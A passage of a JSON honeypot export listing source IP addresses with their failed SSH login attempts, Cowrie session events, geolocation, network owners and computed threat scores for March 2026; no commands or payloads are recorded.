      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T22:31:00.860000+00:00",
        "last_seen_30d": "2026-03-15T22:33:35.239000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "14.103.114.205": {
      "attack_count": 5,
      "first_seen": "2026-03-05T20:58:01.381Z",
      "last_seen": "2026-03-05T20:58:05.120Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "usuario"
      ],
      "passwords_attempted": [
        "usuario123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T20:58:01.381000+00:00",
        "last_seen_30d": "2026-03-05T20:59:13.368000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "178.218.144.64": {
      "attack_count": 5,
      "first_seen": "2026-03-05T10:31:16.152Z",
      "last_seen": "2026-03-05T10:31:20.390Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "sangoma"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 212508,
      "as_org": "Lowhosting services of Davide Gennari",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T10:31:16.152000+00:00",
        "last_seen_30d": "2026-03-08T20:56:00.278000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Ciscoasa": 4
      }
    },
    "36.35.146.52": {
      "attack_count": 5,
      "first_seen": "2026-03-05T04:36:28.143Z",
      "last_seen": "2026-03-05T04:36:29.852Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "default"
      ],
      "passwords_attempted": [
        "antslq"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T04:36:28.143000+00:00",
        "last_seen_30d": "2026-03-05T04:37:36.823000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 2
      }
    },
    "167.94.138.198": {
      "attack_count": 4,
      "first_seen": "2026-03-11T23:56:22.525Z",
      "last_seen": "2026-03-11T23:56:37.581Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.1,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 21,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T17:27:09+00:00",
        "last_seen_30d": "2026-03-22T10:00:11.399000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 37,
        "CitrixHoneypot": 4,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "185.100.87.136": {
      "attack_count": 4,
      "first_seen": "2026-03-18T01:11:12.444Z",
      "last_seen": "2026-03-18T01:11:13.046Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Bucharest",
      "asn": 200651,
      "as_org": "FlokiNET ehf",
      "threat_score": 69.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T02:50:26.864000+00:00",
        "last_seen_30d": "2026-03-30T21:19:59.134000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "H0neytr4p": 5,
        "Cowrie": 4
      }
    },
    "198.235.24.120": {
      "attack_count": 4,
      "first_seen": "2026-03-21T04:59:23.805Z",
      "last_seen": "2026-03-21T04:59:24.881Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 29,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T08:29:08+00:00",
        "last_seen_30d": "2026-03-31T21:30:54.976000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 34,
        "Cowrie": 4,
        "Honeyaml": 1
      }
    },
    "45.156.128.74": {
      "attack_count": 4,
      "first_seen": "2026-03-20T07:38:56.040Z",
      "last_seen": "2026-03-20T07:39:04.040Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 74.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 27,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T08:31:34.447000+00:00",
        "last_seen_30d": "2026-03-30T11:39:30.115000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 23,
        "Cowrie": 4
      }
    },
    "46.236.108.12": {
      "attack_count": 4,
      "first_seen": "2026-03-16T08:28:36.453Z",
      "last_seen": "2026-03-26T01:26:55.127Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Ume\u00e5",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T08:28:36.453000+00:00",
        "last_seen_30d": "2026-03-26T01:28:00.679000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "54.144.98.172": {
      "attack_count": 4,
      "first_seen": "2026-03-16T01:00:14.539Z",
      "last_seen": "2026-03-16T01:00:20.826Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 7.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 9,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-16T01:00:14.539000+00:00",
        "last_seen_30d": "2026-03-24T00:53:18.602000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "64.62.156.99": {
      "attack_count": 4,
      "first_seen": "2026-03-31T07:46:08.552Z",
      "last_seen": "2026-03-31T07:46:12.632Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 27,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T01:41:58+00:00",
        "last_seen_30d": "2026-03-31T09:06:33.078000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "66.132.195.118": {
      "attack_count": 4,
      "first_seen": "2026-03-31T11:35:20.560Z",
      "last_seen": "2026-03-31T11:35:35.855Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 7.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 9,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-23T05:57:01+00:00",
        "last_seen_30d": "2026-03-31T11:36:45.013000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "91.224.92.78": {
      "attack_count": 4,
      "first_seen": "2026-03-08T04:05:08.633Z",
      "last_seen": "2026-03-08T04:05:10.599Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:05:08.633000+00:00",
        "last_seen_30d": "2026-03-08T04:06:20.810000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "103.18.14.165": {
      "attack_count": 2,
      "first_seen": "2026-03-21T12:54:42.613Z",
      "last_seen": "2026-03-21T12:54:53.836Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T12:54:42.613000+00:00",
        "last_seen_30d": "2026-03-21T12:55:56.139000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "116.178.129.124": {
      "attack_count": 2,
      "first_seen": "2026-03-05T01:24:15.549Z",
      "last_seen": "2026-03-05T01:24:33.080Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T01:24:15.549000+00:00",
        "last_seen_30d": "2026-03-05T01:25:41.821000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "124.253.69.0": {
      "attack_count": 2,
      "first_seen": "2026-03-24T20:01:47.554Z",
      "last_seen": "2026-03-24T20:02:18.263Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chandigarh",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T20:01:47.554000+00:00",
        "last_seen_30d": "2026-03-24T20:03:20.603000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "150.9.199.98": {
      "attack_count": 2,
      "first_seen": "2026-03-07T14:23:22.106Z",
      "last_seen": "2026-03-07T14:23:37.948Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Chayama",
      "asn": 4685,
      "as_org": "Asahi Net",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:23:22.106000+00:00",
        "last_seen_30d": "2026-03-07T14:24:46.742000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "151.115.91.27": {
      "attack_count": 2,
      "first_seen": "2026-03-23T02:46:24.537Z",
      "last_seen": "2026-03-23T02:46:54.470Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T02:46:24.537000+00:00",
        "last_seen_30d": "2026-03-23T02:47:57.437000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "151.26.110.54": {
      "attack_count": 2,
      "first_seen": "2026-03-12T10:27:13.337Z",
      "last_seen": "2026-03-12T10:27:27.184Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Bari",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T10:27:13.337000+00:00",
        "last_seen_30d": "2026-03-12T10:28:35.215000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "165.232.164.82": {
      "attack_count": 2,
      "first_seen": "2026-03-17T10:59:37.314Z",
      "last_seen": "2026-03-17T10:59:37.561Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T10:59:37.314000+00:00",
        "last_seen_30d": "2026-03-17T11:00:42.864000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "180.76.171.14": {
      "attack_count": 2,
      "first_seen": "2026-03-03T02:35:09.710Z",
      "last_seen": "2026-03-03T02:35:09.710Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:35:09.710000+00:00",
        "last_seen_30d": "2026-03-03T02:36:47.495000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.233.89.125": {
      "attack_count": 2,
      "first_seen": "2026-03-31T08:22:46.157Z",
      "last_seen": "2026-03-31T08:22:59.394Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Volgograd",
      "asn": 39435,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T08:22:46.157000+00:00",
        "last_seen_30d": "2026-03-31T08:24:01.916000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.64.71.108": {
      "attack_count": 2,
      "first_seen": "2026-03-19T01:49:26.705Z",
      "last_seen": "2026-03-19T01:49:41.500Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T01:49:26.705000+00:00",
        "last_seen_30d": "2026-03-19T01:50:44.046000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.199.84.62": {
      "attack_count": 2,
      "first_seen": "2026-03-04T00:07:25.779Z",
      "last_seen": "2026-03-04T00:07:36.051Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:07:25.779000+00:00",
        "last_seen_30d": "2026-03-04T00:08:41.386000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.167": {
      "attack_count": 2,
      "first_seen": "2026-03-04T07:42:44.423Z",
      "last_seen": "2026-03-04T07:42:44.717Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-03T01:36:55+00:00",
        "last_seen_30d": "2026-03-30T20:45:21.534000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 32,
        "Cowrie": 2,
        "Dionaea": 2,
        "H0neytr4p": 1,
        "Sentrypeer": 1
      }
    },
    "206.189.149.91": {
      "attack_count": 2,
      "first_seen": "2026-03-19T16:57:39.139Z",
      "last_seen": "2026-03-19T16:57:39.350Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T16:57:39.139000+00:00",
        "last_seen_30d": "2026-03-19T16:58:40.929000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "209.38.83.102": {
      "attack_count": 2,
      "first_seen": "2026-03-16T18:22:32.497Z",
      "last_seen": "2026-03-16T18:22:32.499Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T18:22:32.497000+00:00",
        "last_seen_30d": "2026-03-16T18:23:41.321000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "211.13.53.133": {
      "attack_count": 2,
      "first_seen": "2026-03-06T13:46:04.557Z",
      "last_seen": "2026-03-06T13:46:35.149Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 2518,
      "as_org": "BIGLOBE Inc.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T13:46:04.557000+00:00",
        "last_seen_30d": "2026-03-06T13:47:38.860000+00:00",
        "days_since_last_seen": 25
